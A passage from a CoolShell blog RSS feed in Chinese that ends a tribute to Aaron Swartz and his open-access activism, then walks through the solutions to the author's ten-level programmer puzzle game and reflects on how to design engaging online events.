href=\"http://en.wikipedia.org/wiki/PACER_(law)\" target=\"_blank\">PACER</a>（Public Access to Court Electronic Records） 的政府服务。这个服务会把法庭记录的文件放在网上，如果你要看的话，一页要付费8美分（注意是每页，不是每个文档，美国政府说这只是成本式的收费），这个事他非常不能理解，他觉得这些文件本来就属于公众，没有CopyRight，为什么属于公众的东西还要收费。PACER这个服务每年可以为政府带来1.2亿美金的收入。</p>\n<p>于是Aaron在2008年9月4日到20日，他22岁的时候，他用Perl在AWS上写了一个程序，从PACER上下载了270万的文档（2000万页，纽约时报里说他下载大约是总量的20%，但是也有人不到总量的1%）。于是FBI对他调查了两个多月，但最终没有对他起诉。（今天，PACER还在收费，不过你可以使用一个叫<a title=\"RECAP\" href=\"http://en.wikipedia.org/wiki/RECAP\">RECAP</a>的Firefox插件来免费浏览当年Aaron下载的相关的法律文档）</p>\n<p>2008年同年，Aaron创建了Watchdog.net &#8211;  &#8220;the good government site with teeth&#8221; 专门用来收集和呈现和政客相关的数据（这个网站访问不到了，不过你可以在<a href=\"http://www.aaronsw.com/weblog/watchdog\" target=\"_blank\">Aaron的blog上看一下他的想法</a>）。然后，他还起草了<i><a href=\"http://openaccessmanifesto.org/\" target=\"_blank\">Guerrilla Open Access Manifesto</a></i>（<a href=\"http://openaccessmanifesto.org/%E6%B8%B8%E5%87%BB%E9%98%9F%E5%BC%80%E6%94%BE%E8%AE%BF%E9%97%AE%E5%AE%A3%E8%A8%80/\" target=\"_blank\">中文版</a>）<i> </i>下面是节选</p>\n<blockquote><p>信息就是能源。但就像所有能源一样，有些人只想占为己有。世界上所有的科学和文化遗产，已在书籍和期刊上发布了数个世纪，正渐渐地被少数私有的公司数字化并上锁。想要阅读那些有着最著名研究成果的论文？你必须支付给如 Reed Elsevier 这样的出版商大把钱。</p>\n<p>…… ……</p>\n<p>我们要夺回信息，无论它们被存在何处，制作我们的副本并和全世界分享。我们要取到版权到期的东西并将它们归档，我们要买下秘密的资料库并将它们放到网上。我们要下载科学期刊并将它们上传到文件分享网络。我们要为游击队开放访问而战。</p>\n<p>只要全世界有足够多的我们，那就不仅是传达了一个反对知识私有化的强有力信号，我们还将让它成为过去。你愿意和我们一起吗？</p>\n<p>亚伦·斯沃茨 (Aaron Swartz) 2008 年 7 月，意大利 Eremo</p></blockquote>\n<p>Aaron觉得那些对人类有价值的科学和文化遗产属于全人类，美国大学每年会向那些出版学术期刊、论文的机构（比如 ISI，Jstor）支付许可费用，许可费用极高，他觉得这是这个时代的悲剧。于是完美主义的他产生了一种责任感。</p>\n<p>2009年，他成立了<a title=\"Progressive Change Campaign Committee\" href=\"http://en.wikipedia.org/wiki/Progressive_Change_Campaign_Committee\">Progressive Change Campaign Committee</a>（进步改变运动委员会），2010年，他又创建了 <a title=\"Demand Progress\" href=\"http://en.wikipedia.org/wiki/Demand_Progress\">Demand Progress</a> （求进会）——利用互联网来组织群众与议会和政府对话。</p>\n<p>也因为Aaron并不理解政府和这个时代的这些荒唐的行为，于是他开始学习各种政治上的东西去寻求突破，这让他在2010年到2011年，在哈佛大学Edmond J. Safra研究实验室以Lab Fellow的身份主导到了“制度腐败”课题的研究。也因为这个身份，Aaron在MIT做访问学者的时候有 <a title=\"JSTOR\" href=\"http://en.wikipedia.org/wiki/JSTOR\">JSTOR</a>的帐号可以通过MIT的网络访问大量的学术期刊。</p>\n<p>于是，他把他的laptop放到了地下室网络交换机的机房中，直接插上网线，然后全天后地下载那些JSTOR的学术期刊。（他利用了这些学术期刊的URL链接中的规律来下载所有的期刊），一开始JSTOR把他的帐号和IP封了，并报告给了警，美国的国家安全警察找到了那间楼道里的机房，然后让JSTOR不禁止他访问，并在那间机房里安了摄像头，钓鱼执法。然后等Aaron去换硬盘时录好像，2011年1月6日就把他给抓了。</p>\n<p>那年Aaron才24岁。2011年7月11日，检查官以通信欺诈、计算机欺诈、非法获得信息，以及破坏被保护的罪名电脑来起诉他。可能会受到35年以上的牢狱之灾。这是相当重的罪名。你能想像得到为什么罪名会这么重吗？</p>\n<p>事后，JSTOR发声明，说他们并不想起诉Aaron，起诉Aaron的是政府行为，而MIT方面虽然也放弃起诉，并也发表了相关的说明——保持中立。保持中立让MIT基本上名誉扫地，因为这种保持中立的行为违背于MIT一贯鼓吹的黑客文化，MIT成了千夫之指。</p>\n<p>当然，美国政府的检查官坚持以重罪起诉他。当时，放在Aaron前有两条路：1）认罪，承认犯下重罪，35年的判决会变成3个月入狱+1年的居家监禁（不得使用电脑），2）不认罪，那就有可能接受35监禁年的最坏结果。Aaron选择了后者，而他的女友则选择了认罪。他的第一任女友后来非常的悔恨，面对国家机器，个体太渺小了。</p>\n<p>在起诉期间，大家是否还记得美国那个臭名昭著的SOPA（ <a title=\"Stop Online Piracy Act\" href=\"http://en.wikipedia.org/wiki/Stop_Online_Piracy_Act\">Stop Online Piracy Act</a>）法案？Aaron通过他的 <a title=\"Demand Progress\" href=\"http://en.wikipedia.org/wiki/Demand_Progress\">Demand Progress</a> 把民众们网聚起来，和政府做斗争，最终导致了整个社会都在反对SOPA，也导致了那些议员纷纷改变自己的想法，并导致了白宫最终放弃了这个法案。这是一次民主的胜利，与Aaron有密切的相关。（相信大家都还记得那时美国各大网站都在反对这个网络审查制度）</p>\n<figure id=\"attachment_11930\" aria-describedby=\"caption-attachment-11930\" style=\"width: 500px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-11930\" src=\"https://coolshell.cn/wp-content/uploads/2014/09/800px-AaronSwartzPIPA.jpg\" alt=\"斯沃茨在2012年反对禁止网络盗版法案(SOPA)的抗议活动上发言\" width=\"500\" height=\"331\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/09/800px-AaronSwartzPIPA.jpg 800w, https://coolshell.cn/wp-content/uploads/2014/09/800px-AaronSwartzPIPA-300x198.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /><figcaption id=\"caption-attachment-11930\" class=\"wp-caption-text\">斯沃茨在2012年反对禁止网络盗版法案(SOPA)的抗议活动上发言</figcaption></figure>\n<p>而在次年2012年9月，政府对Aaron进行了更为严厉的起诉，新加入了另外9条起诉，如果成立，Aaron最多获刑50年外加100万美金的罚款。同样，检察官给出了优惠条件，只要Aaron认罪，那就只起诉他6个月的监禁。Aaron再次拒绝。</p>\n<p>看到这里，你觉得下载一些期刊，也没有挣钱，为什么要判他这么重呢？这后面有什么故事呢？这是不是更像是一种政治迫害呢（这段时间，好像这些消息并没有进入中国，我们的大多数人依然在使用百度在墙内活得很滋润，另外，这个事在美国那边的IT 圈闹得很大，但似乎也不见各个IT圈的老大们有没有什么表态）</p>\n<p>不过，可以肯定的是，美国政府受够了像阿桑奇这样的人了，而Aaron让美国政府更为害怕在有规模有组织的事，所以一定少不了相关的政治迫害，天下政府一般黑。</p>\n<p>之后，2013年1月11日，Aaron自杀了。大家觉得他是因为来自美国政府的长期恐吓的压力和以及长期的抑郁（理想主义者可能都会有或多或少的抑郁证）</p>\n<p><strong>这就是Aaron Swartz传奇的一生。他用他的生命捍卫了互联网的开放和自由。</strong></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11932 size-full\" src=\"https://coolshell.cn/wp-content/uploads/2014/09/87d31fea0996abbedb297c70b8b0b945_b.jpg\" alt=\"87d31fea0996abbedb297c70b8b0b945_b\" width=\"600\" height=\"337\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/09/87d31fea0996abbedb297c70b8b0b945_b.jpg 600w, https://coolshell.cn/wp-content/uploads/2014/09/87d31fea0996abbedb297c70b8b0b945_b-300x168.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></p>\n<p>互联网之父，<a href=\"http://en.wikipedia.org/wiki/Tim_Berners-Lee\" target=\"_blank\">Tim Berners-Lee</a>，在2012伦敦奥运会上的网络环节我们都见过这个人。世界上第一个web网站是1991年8月6日在CERN内的NeXT服务器上运行（今天这个网站依然可以访问：<a href=\"http://info.cern.ch/hypertext/WWW/TheProject.html\" target=\"_blank\">链接</a>），Tim并被没有用这个发明挣钱，而是无偿地把WWW的构想和设计推广给了全世界。《时代》周刊评论他的时候用了这样的一条话：“与所有的推动人类进程的发明不同，这是一件纯粹个人的劳动成果”。</p>\n<p>而Aaron最崇拜的人就是Tim，Tim也是Aaron的精神导师。</p>\n<p>Aaron死了以后，Aaron朋友和合作者，哈佛大学法学院教授Laurence Lessig，回忆说，他当年和仅15岁的Aaron 有过一次谈话。Aaron问他：“您刚才讲到网络审查和管制的这些弊病，那您有没有什么实际的方案来解决这些问题呢？”Lessig有点尴尬地说：“没有。我是个学者，我只负责做研究，解决问题不关我的事儿。”Aaron接着问：“您是个学者，所以解决问题不关你的事儿。那，您作为一个公民，又该如何呢？”</p>\n<p>有个男孩叫 Jack Andraka，来自巴尔的摩，14岁，阅读了 Aaron 自杀前推广的JSTOR 的免费学术论文，想出了一种提早检测胰腺癌的方法（一般胰腺癌被查出的时候就是你死的时候。）以此，他成功去了约翰霍普金斯大学做研究。Jack说——</p>\n<blockquote><p>“我之所以上了新闻，是因为我们的实验成功了，而这就是为什么 Aaron 做的事有那么重要……这个宇宙中的真理不是只有那些政策制定者曾经弄清楚过的，比如应该限速多少，它还包括那些能让你的孩子，不会因胰腺癌而死的研究。<strong>如果没有访问阅读权，那个能解决你的问题的人，可能就永远找不到答案</strong>。”</p></blockquote>\n<p>&nbsp;</p>\n<p style=\"text-align: center;\"><strong>强烈推荐纪录片——《<a href=\"http://www.tudou.com/programs/view/jefojo_-HjQ/\" target=\"_blank\">互联网之子</a>》</strong></p>\n<p style=\"text-align: center;\"><embed src=\"http://www.tudou.com/v/jefojo_-HjQ/&amp;bid=05&amp;resourceId=0_05_05_99/v.swf\" type=\"application/x-shockwave-flash\" width=\"750\" height=\"580\"></embed></p>\n<p>&nbsp;</p>\n<p>Aaron说的一句话让我挺有感触的——</p>\n<p style=\"text-align: center;\"><strong>相信你应该真的每时每刻都问自己，现在这世界有什么最重要的事是我能参与去做的？</strong></p>\n<p style=\"text-align: center;\"><strong>如果你没在做那最重要的事，那又是为什么？</strong></p>\n<p>&nbsp;</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11934\" src=\"https://coolshell.cn/wp-content/uploads/2014/09/aaron_swartz__freedom_fighter_by_caq_qoq-d5rzbi8.jpg\" alt=\"aaron_swartz__freedom_fighter_by_caq_qoq-d5rzbi8\" width=\"600\" height=\"375\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/09/aaron_swartz__freedom_fighter_by_caq_qoq-d5rzbi8.jpg 900w, https://coolshell.cn/wp-content/uploads/2014/09/aaron_swartz__freedom_fighter_by_caq_qoq-d5rzbi8-300x187.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></p>\n<p><strong>延伸阅读</strong>：<a title=\"偷了世界的程序员\" href=\"https://coolshell.cn/articles/3363.html\" target=\"_blank\">偷了世界的程序员</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11928.html\">互联网之子 – Aaron Swartz</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11928.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>128</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>谜题的答案和活动的心得体会</title>\n\t\t<link>https://coolshell.cn/articles/11847.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11847.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 05 Aug 2014 23:47:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11847</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我于2014年8月3日周六的上午在微博、twitter、CoolShell上发布了一个和程序员有关的解谜题的活动——【活动】解谜题送礼物。我使用了二级域名fun...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11847.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我于2014年8月3日周六的上午在微博、twitter、CoolShell上发布了一个和程序员有关的解谜题的活动——<a title=\"【活动】解迷题送礼物\" href=\"https://coolshell.cn/articles/11832.html\" target=\"_blank\">【活动】解谜题送礼物</a>。我使用了二级域名fun.coolshell.cn做为这次活动的页面。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11848\" src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle.png\" alt=\"\" width=\"543\" height=\"206\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle.png 543w, https://coolshell.cn/wp-content/uploads/2014/08/puzzle-300x114.png 300w\" sizes=\"(max-width: 543px) 100vw, 543px\" /></p>\n<p>截止这篇文章发布的时候，fun.coolshell.cn的访问量UV大约有4万左右，通关人数大约有200人，但因为在活动的第二天网上就出了一些答题攻略，通过分析，实际靠自己能力通过的人数在130人左右。通过率大约不到4‰的样子。</p>\n<p>在这里我把整个谜题和做这个活动的东西写一下，算是给自己的一个总结。</p>\n<h4>谜题的答案和花絮</h4>\n<p>fun.coolshell.cn上一共有十道谜题，<strong>要设计这些东西还真是费尽脑汁，这让我对那些设计谜题式游戏的人相当敬佩</strong>。</p>\n<p><span id=\"more-11847\"></span></p>\n<p style=\"padding-left: 30px;\"><strong>第0关：</strong>很多人可能一头雾水，完全不知道这是什么，其实只要Google一下，你会知道这是一个叫BrainFuck的语言。在Coolshell.cn上我也介绍了过——《<a title=\"BT雷人的程序语言\" href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\">BT雷人的程序语言</a>》《<a title=\"BT雷人的程序语言（大全）\" href=\"https://coolshell.cn/articles/4458.html\" target=\"_blank\">BT雷人的程序语言（大全）</a>》，要通过这关，你需要把那段程序编译一下。要编译这段程序其实很简单，Google一个在线的编译器就可以了。（关于其它更多的古怪的编程语言请参看这里：<a href=\"http://esolangs.org/wiki/Language_list\" target=\"_blank\">http://esolangs.org/wiki/Language_list</a>）</p>\n<p style=\"padding-left: 30px;\"><strong>第1关：</strong>这一关也是很简单的，你需要在网页上找到两个数，一个是X，一个是Y，然后求得X和Y的乘积。对于X，你可以观察一下那个数列游戏，对于Y，你可以Google一下就知道了（我在Coolshell的《<a title=\"如何用最有创造力的方式输出42\" href=\"https://coolshell.cn/articles/11170.html\" target=\"_blank\">如何用最有创造力的方式输出42</a>》说过这个事）。</p>\n<p style=\"padding-left: 30px;\"><strong>第2关：</strong>上面显示了一个不一样的键盘，我给了这个键盘的Wikipedia的链接。这个键盘叫Dvorak键，不同于我们的Qwert键。通过这个两个键盘的布局映射，你可以把下面那段读不懂的文字解出来（其实，你还是可以Google，有在线的转换）。把下面那段文字转成Qwert键的，你就会发现这是一段代码，这段代码非常著名，<span style=\"color: #000000;\">是1987年国际<a href=\"http://www.di-mgt.com.au/src/korn_ioccc.txt\" target=\"_blank\">C语言混乱大赛一等奖的一段代码</a>（你可Google “IOCCC 87 unix”）。（关于IOCCC你可以参看Coolshell之前的《<a title=\"6个变态的C语言Hello World程序\" href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">6个变态的HelloWorld</a>》、《<a title=\"如何加密/混乱C源代码\" href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">如何混乱代码</a>》、《<a title=\"如何写出无法维护的代码\" href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\">如何写出无法维护的代码</a>》这几篇文章）</span></p>\n<p style=\"padding-left: 30px;\"><strong>第3关：</strong>扫描二维码以后，你会得到一个码表转换，你可以使用Shell的tr命令来转一下下面的话。转完后你就可以读懂了，读懂了你还需要使用rot13来转一下“shell”（Google一下，你会发现也有在线的转换器，另外还有其它的rot）</p>\n<p style=\"padding-left: 30px;\"><strong>第4关</strong>：这是众多同学被卡在的地方。很多同学吐槽这题太坑了，别忘了这是游戏啊。我问了几个早先通关的同学，他们都说还好了，只要静一下心来多观察一下，你就会找出规律的。这个回文的模式是，一个大写字符和一个数字（顺序不限）把一个小字母套起来。于是，写成正则表达式是：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">([A-Z])([0-9])[a-z]\\2\\1|([0-9])([A-Z])[a-z]\\4\\3</code></p>\n<p style=\"padding-left: 30px;\">用shell命令可以很快地找到9个匹配，然后，像“cat”一样，取中间的小写字母组成一个单词。写成Shell命令是：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">grep -o &quot;\\([A-Z]\\)\\([0-9]\\)[a-z]\\2\\1\\|\\([0-9]\\)\\([A-Z]\\)[a-z]\\4\\3&quot; cat.txt | sed -E &quot;s/(.)(.)(.)\\2\\1/\\3/g&quot; | awk &#039;{printf(&quot;%s&quot;,$1)}&#039; &amp;&amp; echo &quot;&quot;</code></p>\n<p style=\"padding-left: 30px;\">这题主要考的是你的观察能力和正则表达式。</p>\n<p style=\"padding-left: 30px;\"><strong>第5关</strong>：如果你点了一下图片后，你就知道，这个连接http://fun.coolshell.cn/n/2014返回了一个数字，如果你把这个数字放到那个URL中，不断地替换其中的数字，你会得到一个新的数字。于是你就会得到最终的答案。</p>\n<p style=\"padding-left: 30px;\">这道题本来我是想让大家写程序的，我原来设置了一共512个序列，但是考虑到服务受不了，所以，我把它降到了128个，这样保证你的程序可以在几秒钟内得到结果，而不会对我的服务器造成压力。但是我还是看到好几个同学人肉地copy+paste+回车刷了100多下，得到了最终答案。</p>\n<p style=\"padding-left: 30px;\"><strong>第6关：</strong>通过中序和后序遍历还原一棵二叉树，然后再找到其最深的路径，然后得到一个字符串后，把这个字符串做为一个passcode代入那个openssl的命令行中。你就可以解密密文得到下一关的答案。</p>\n<p style=\"padding-left: 30px;\">这个题，我本想设计得更隐晦一些，用一个“心脏流血”的图片来暗示openssl，然后用别的东西暗示AES-128-CBC，后来想想算了，主要还是考大家在大学里的二叉树的最基本的算法。并介绍一下openssl的shell命令行加解密的方法。</p>\n<p style=\"padding-left: 30px;\">在网上的一些攻略中我看到了大家没有用程序，而是手动地花了一棵树出来。（其实，这设计这道的时候，我本来想设计成随机树，也就每个人看到的答案都不一样，我随机建树并且找最深路径的程序都写好了，但是我最终还是没有这样做，因为这无疑增加我对这个网页游戏的代码复杂度，而我又没有太多的时间，而谜题的各种形式已经够让我花精力的了，你虽然看到了10道题，但是其实我设计了一共有16道题，我反复斟酌，即不想为难大家，又不想太简单和无聊，所以最终release了这十道题）</p>\n<p style=\"padding-left: 30px;\"><strong>第7关：</strong>N皇后问题，这个问题也是大学里的题。9皇后一共有352个解，你需要把这352个解代到那个sha1的公式中（需要上一关用于解密的passcode），这样你就会得到一个解。然后这就是通关口令。</p>\n<p style=\"padding-left: 30px;\">第6关和第7关的算法题你要是不会写的话，Google一下，反正我们是“大自然的搬运工”，不是吗？呵呵。</p>\n<p style=\"padding-left: 30px;\">第7关这题啊，我看到一个同学用穷举的1-9的排序组合的方式来向服务发请求，从123456789开始，我都看SB了，因为这关的通答案是9开头，我勒了个去！你得对我的服务器发多少次请求啊，才能得到一个200的回复啊。TNND。服了。不过这个同学我最终还是给通过了，没有判定成作弊。</p>\n<p style=\"padding-left: 30px;\"><strong>第8关：</strong>Excel的列号编程，这一关写成代码其实并不难的。但我看到网上给的好些答案，大家都是用手算。也OK，这题本身就没有什么难度，但是因为这个26进制是从1开始的，写出来的代码并不非常容易，一些边界条件很容易就break掉了。这题完全考的是编码。把COOLSHELL除以SHELL的数转成字符串。然后就进入最后一关了。</p>\n<p style=\"padding-left: 30px;\">然后，我又见到有个同学用了穷举的方式，TNND，其实每道题都有人在用穷举的方式，我勒个去。他从AAA开始穷举，不一会就穷举出正确答案了。尼玛！</p>\n<p style=\"padding-left: 30px;\"><strong>第9关：</strong>一个猪圈和一个共济会的logo，你Google一下，你就知道答案了。这题纯粹就是介绍知识的。不知道大家有没有去wikipedia上了解了一下这个猪圈密码和共济会是怎么一回事吗？这样的密文叫图片密文，还有很多类似的图片密文的。你知道吗？有相应的字库哦。也有在线的生成器哦。（因为我最近在学各种安全的基础知识，所以了解到了这个东西）</p>\n<p style=\"padding-left: 30px;\"><strong>通关：</strong>于是你就通关了。你会发现你得到了一个helloworld，这个字符串，在我一放出来这个谜题的时候，就有很多人在尝试helloworld就是那段brainfuck的代码的输出。我汗啊。还好我做了一个比较复杂的防作弊检查……</p>\n<p>总体来说，这些关卡都不难，但是你最少也得用2-3个小时。<a href=\"http://fun.coolshell.cn/top100.html\" target=\"_blank\">Top100页面</a>时统计的平均时间是10个半小时。</p>\n<p>再说一个花絮，自从，8月3日上线后，8月4日在网上就有了相关的解答攻略，还是在V2EX上，于是出现了好些只花了几分钟就做完了的人。不过好在事先我就预料到了这个事，事先预备好了“反作弊分析”的脚本，细节不想说太多，反正就是说，我会记录你答案的整个过程和行为，以此来确保TOP100中的人基本都是用自己能力答的，当然，可能会有漏判，但至少也是写过代码的。</p>\n<h4>活动心得</h4>\n<p>因为是第一次做活动，所以有很多感想，下面写下一些做这个活动的心得，供大家参考：</p>\n<p><strong>1）要做好一个这样的解题游戏并不简单</strong>。</p>\n<ul>\n<li><strong>关卡设计：</strong>最花力气的地方就是设计每个关卡，我不能设计得太过隐晦，也不能设计得太过明显。最好是要符合参与者的能力，但又要高于平均以上水平的能力，最好在90%以上。这样会让大家有挑战感，但是又不会有挫败感。这个度相当难把握。总体而言，本次设计的谜题中还有很多可以改进的地方。但这毕竟是我的第一次，也算是我用其来感受一下应该怎么设计游戏。</li>\n</ul>\n<ul>\n<li><strong>游戏黏性：</strong>除了设计谜题，还需要针对用户可能会答错的地方来给用户一些提示，原因也是为了不让用户有挫败感，虽然用户没有答对，但是需要用这些页面来鼓励用户You made some progress，这个很重要。这会让用户对游戏更有粘性，并且更愿意有更多的投入。找到这些地方也不是一件容易的事，因为做为游戏的设计者来说，很难从一个不知到答案的角度去思考。所以需要试玩，在fun.coolshell.cn正式release之前，我找了几个人比较聪明的人来试玩了一下，对这个游戏的帮助很大。</li>\n</ul>\n<ul>\n<li><strong>游戏管理：</strong>这样的一个在线游戏自然会出一些作弊者，为了游戏的公平性，你需要剔除这些作弊者。所以，我设计了一些比较简单的记录用户所有过程的监测的算法。通过cookie和后台的http log来一同分析。这个部分也比较地花时间。我上周六的时候写这些代码写到了凌晨4点，导致脑子不清楚，出了些bug，导致在大家游戏过程中重置cookie等伤害用户体验的事件。所以说啊，不能赶啊，也不能加班啊。</li>\n</ul>\n<p><strong>2）关于怎么做一个活动的感想。</strong></p>\n<ul>\n<li><b>这次活动的背景</b>。首先，想做这个活动的起因是这样的。我一个朋友在微博上做活动——“转发微博或@几个人怎么怎么滴就有机获得什么什么的”，<strong>我在这里把这种活动简称为“转就送”活动</strong>。于是遭到了水军的刷奖品，导致他根本分不清楚哪些是正常人，哪些不是，因为新浪微博上有大量的这要瓣机器人，所以他这次活动最后失败了。我说，你得加点难度啊，要加点智商啊。<strong>而且，我看过太多的活动都是这样的，而且很多公司的活动也是这样的，我觉得太low了</strong>。于是，我就萌生了自己尝试一下的念头。</li>\n</ul>\n<ul>\n<li><strong>我对做活动的理解</strong>。我一直觉得网上那些诸如“转就送”或是“抽奖”这样的活动都比较SB，这些人根本就不知道怎么做活动。这样做活动不需要智商，简单粗暴，效果一点也不好，活动做完了，人就走了，人们马上就忘了。我以为做活动的精髓是这样的：</li>\n</ul>\n<ul>\n<ul>\n<li><strong>真正的价值</strong>。其实，好的活动并不只是物品的价格，而是参与这个过程的感觉和体会。如果你让人觉得这是碰运气的，那么这个活动除了用物品价格来吸引人，也就没别的什么了。<strong>如果这个活动的参与过程是让人有成就感的，要有成就感那么就需要有一定难度的挑战，而且这种挑战也是让众人认可和佩服的，那么这个奖品的价格再小，价值也会很大</strong>。比如：Olympic Game，World Cup之流的，世界顶尖，四年一次，来之不易。这才是活动的价值。本次的fun.coolshell.cn上的活动，我希望让大家在做题的过程中学到一些东西，另外也希望做出来的人有一种成就感。</li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><strong>让人有回味</strong>。那些简单的“转就送”式的活动不会让人产生任何的回味，只会让人产生很大的反感。就像那些“让你转发，不转就死全家”的东西，相当的让人反感。真正的回味是人们对活动参与过程的讨论和交互。在fun.coolshell.cn上线后，我就看到好几个社区在讨论这些谜题，这就是所谓的回味。<strong>只有人们对过程的回味，对参与的回味，才会让这个活动真正的成功</strong>。</li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li><strong>暴露活动过程</strong>。有挑战的活动，一定要有一个Who&#8217;s Who的东西，而且是随时动态更新的可以让大家查询的，这样才会从另一个侧面激发大家的热情。因为fun.coolshell.cn一开始说了只给前十个人送东西，结果在过程中，我发现了就半天时间就差不多满了，那时我在想，如果没有奖品了，剩下的人还会不会玩了？于是我飞快地开发了一个TOP100的排行榜，让大家可以看得到这个过程，虽然前十以后就没有奖品了，但是，能上这TOP100也不错。于是乎，在没有奖品情况下，依然在激发着大家的解题热情。<strong>有竞争总是一件有意思的事情，因为成就感总是来自竞争</strong>。（注：为什么top100中会有“xxxxxx”的用户，因为一开始我用的是用户提交的name，但是后来有人告诉我，这个名字可能是真名，所以，我就改成了weibo或twitter的ID，而xxxxx则是没有留下微博或twitter的）</li>\n</ul>\n</ul>\n<p>最后吐个槽，<strong>我真的觉得那些“纯靠运气的活动”相当的SB，我看到好些公司的运营部门招了多少个所谓的高学历和高能力的人，结果干出来的运营活动的水平，其实，也就是个有小学文化水平的人就可以做的了</strong>。那些“转就送式的”、“抽奖式的”的活动，是个人都会干，根本不需要高学历的人。</p>\n<h4>其它</h4>\n<p>1）<strong>本次活动中，有一个隐藏关卡，还没有人找出来</strong>。要能达到隐藏关卡，需要完成所有的题目。</p>\n<p>2）<strong>活动的通关页是HelloWorld，这意味着——这仅仅是个开始</strong>。</p>\n<